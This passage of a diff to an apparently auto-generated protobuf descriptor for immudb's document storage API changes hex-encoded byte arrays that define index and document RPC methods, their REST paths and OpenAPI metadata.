0x76, - 0x65, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x44, + 0x6d, 0x65, 0x7d, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x8c, 0x01, 0x0a, 0x0b, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x38, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x30, 0x2a, 0x2e, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0xe4, 0x93, 0x02, 0x24, 0x2a, 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, - 0x65, 0x7d, 0x2f, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x2f, 0x7b, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x4e, - 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x8f, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, - 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3b, 0x92, 0x41, 0x0b, 0x0a, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x27, 0x3a, - 0x01, 0x2a, 0x22, 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, + 0x65, 0x7d, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x9f, 0x01, 0x0a, 0x0f, 0x49, 0x6e, 0x73, + 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x73, 0x65, + 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3f, 0x92, 0x41, 0x0b, 0x0a, 0x09, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x2b, 0x3a, + 0x01, 0x2a, 0x22, 0x26, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, - 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x8c, 0x01, 0x0a, 0x0b, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, - 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x38, 0x92, 0x41, 0x0b, - 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x24, 0x2a, 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, - 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x9f, 0x01, 0x0a, 0x0f, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3f, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x2b, 0x3a, 0x01, 0x2a, 0x22, - 0x26, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xb0, 0x01, 0x0a, 0x10, 0x52, 0x65, 0x70, 0x6c, - 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x25, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x70, 0x6c, - 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4d, 0x92, 0x41, 0x0b, - 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x39, 0x3a, 0x01, 0x2a, 0x1a, 0x34, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x2f, 0x72, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x12, 0xac, 0x01, 0x0a, 0x0f, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4c, 0x92, 0x41, 0x0b, - 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x38, 0x3a, 0x01, 0x2a, 0x22, 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xb0, 0x01, 0x0a, 0x10, 0x52, + 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, + 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, + 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4d, + 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x39, 0x3a, 0x01, 0x2a, 0x1a, 0x34, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x72, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x12, 0xac, 0x01, + 0x0a, 0x0f, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4c, + 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x38, 0x3a, 0x01, 0x2a, 0x22, 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0xda, 0x01, 0x0a, + 0x0f, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x7a, 0x92, + 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x66, 0x3a, 0x01, 0x2a, 0x5a, 0x2c, 0x3a, 0x01, 0x2a, 0x22, 0x27, 0x2f, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x2f, 0x7b, 0x73, 0x65, 0x61, 0x72, 0x63, + 0x68, 0x49, 0x64, 0x7d, 0x22, 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0xda, 0x01, 0x0a, 0x0f, 0x53, 0x65, - 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, - 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x7a, 0x92, 0x41, 0x0b, 0x0a, - 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x66, - 0x3a, 0x01, 0x2a, 0x5a, 0x2c, 0x3a, 0x01, 0x2a, 0x22, 0x27, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, - 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x2f, 0x7b, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, - 0x7d, 0x22, 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, - 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, - 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0xa8, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x75, 0x6e, 0x74, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, - 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4b, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x37, 0x3a, 0x01, 0x2a, 0x22, 0x32, 0x2f, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, - 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, - 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x63, 0x6f, 0x75, 0x6e, - 0x74, 0x12, 0xab, 0x01, 0x0a, 0x0d, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x51, 0x92, 0x41, - 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x3d, 0x3a, 0x01, 0x2a, 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, - 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2f, 0x7b, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, - 0xab, 0x01, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x51, 0x92, 0x41, 0x0b, 0x0a, - 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x3d, - 0x3a, 0x01, 0x2a, 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, - 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2f, 0x7b, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x42, 0xb0, 0x01, - 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, - 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, - 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, - 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, - 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, - 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x5a, - 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, - 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, - 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0xa8, 0x01, 0x0a, 0x0e, 0x43, 0x6f, + 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x23, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x75, 0x6e, + 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4b, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x37, 0x3a, 0x01, 0x2a, + 0x22, 0x32, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 